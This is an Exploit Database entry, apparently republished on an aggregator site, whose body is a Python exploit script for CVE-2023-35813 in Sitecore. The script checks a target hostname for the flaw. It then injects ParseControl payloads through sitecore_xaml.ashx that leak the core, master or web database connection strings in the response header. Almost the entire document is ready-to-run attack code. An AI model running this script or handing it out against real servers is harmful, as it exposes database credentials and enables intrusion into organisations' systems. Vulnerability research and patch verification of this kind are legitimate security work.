Sitecore – Remote Code Execution v8.2

• Exploit Database
• 20 阅读

• 作者： abhishek morla
  日期： 2024-03-11
• 类别：

  • webapps
  平台：

  • aspx
• 来源：https://www.exploit-db.com/exploits/51876/

• #!/usr/bin/env python3
  #
  # Exploit Title: Sitecore - Remote Code Execution v8.2 
  # Exploit Author: abhishek morla
  # Google Dork: N/A
  # Date: 2024-01-08
  # Vendor Homepage: https://www.sitecore.com/
  # Software Link: https://dev.sitecore.net/
  # Version: 10.3
  # Tested on: windows64bit / mozila firefox 
  # CVE : CVE-2023-35813
  # The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
  # Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
  # Video POC : https://youtu.be/vWKl9wgdTB0
  
  import argparse
  import requests
  from urllib.parse import quote
  from rich.console import Console
  
  console = Console()
  def initial_test(hostname):
  # Initial payload to test vulnerability
  test_payload = '''
  <%@Register
  TagPrefix = 'x'
  Namespace = 'System.Runtime.Remoting.Services'
  Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
  %>
  <x:RemotingService runat='server'
  Context-Response-ContentType='TestVulnerability'
  />
  '''
  encoded_payload = quote(test_payload)
  
  url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
  headers = {"Content-Type": "application/x-www-form-urlencoded"}
  data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)
  
  response = requests.post(url, headers=headers, data=data, verify=False)
  
  # Check for the test string in the Content-Type of the response
  return 'TestVulnerability' in response.headers.get('Content-Type', '')
  
  def get_payload(choice):
  # Payload templates for different options
  payloads = {
  '1': "<%$ ConnectionStrings:core %>",
  '2': "<%$ ConnectionStrings:master %>",
  '3': "<%$ ConnectionStrings:web %>"
  }
  
  base_payload = '''
  <%@Register
  TagPrefix = 'x'
  Namespace = 'System.Runtime.Remoting.Services'
  Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
  %>
  <x:RemotingService runat='server'
  Context-Response-ContentType='{}'
  />
  '''
  
  return base_payload.format(payloads.get(choice, "Invalid"))
  
  def main(hostname):
  if initial_test(hostname):
  print("Exploiting, Please wait...")
  console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
  print("Select the payload to use:")
  print("1: Core connection strings")
  print("2: Master connection strings")
  print("3: Web connection strings")
  payload_choice = input("Enter your choice (1, 2, or 3): ")
  
  payload = get_payload(payload_choice)
  encoded_payload = quote(payload)
  
  url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
  headers = {"Content-Type": "application/x-www-form-urlencoded"}
  data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)
  
  response = requests.post(url, headers=headers, data=data)
  
  if 'Content-Type' in response.headers:
  print("Content-Type from the response header:")
  print("\n")
  print(response.headers['Content-Type'])
  else:
  print("No Content-Type in the response header. Status Code:", response.status_code)
  else:
  print("The target does not appear to be vulnerable to CVE-2023-35813.")
  
  
  if __name__ == "__main__":
  console.print("[bold green]Author: Abhishek Morla[/bold green]")
  console.print("[bold red]CVE-2023-35813[/bold red]")
  parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
  parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
  args = parser.parse_args()
  
  main(args.hostname)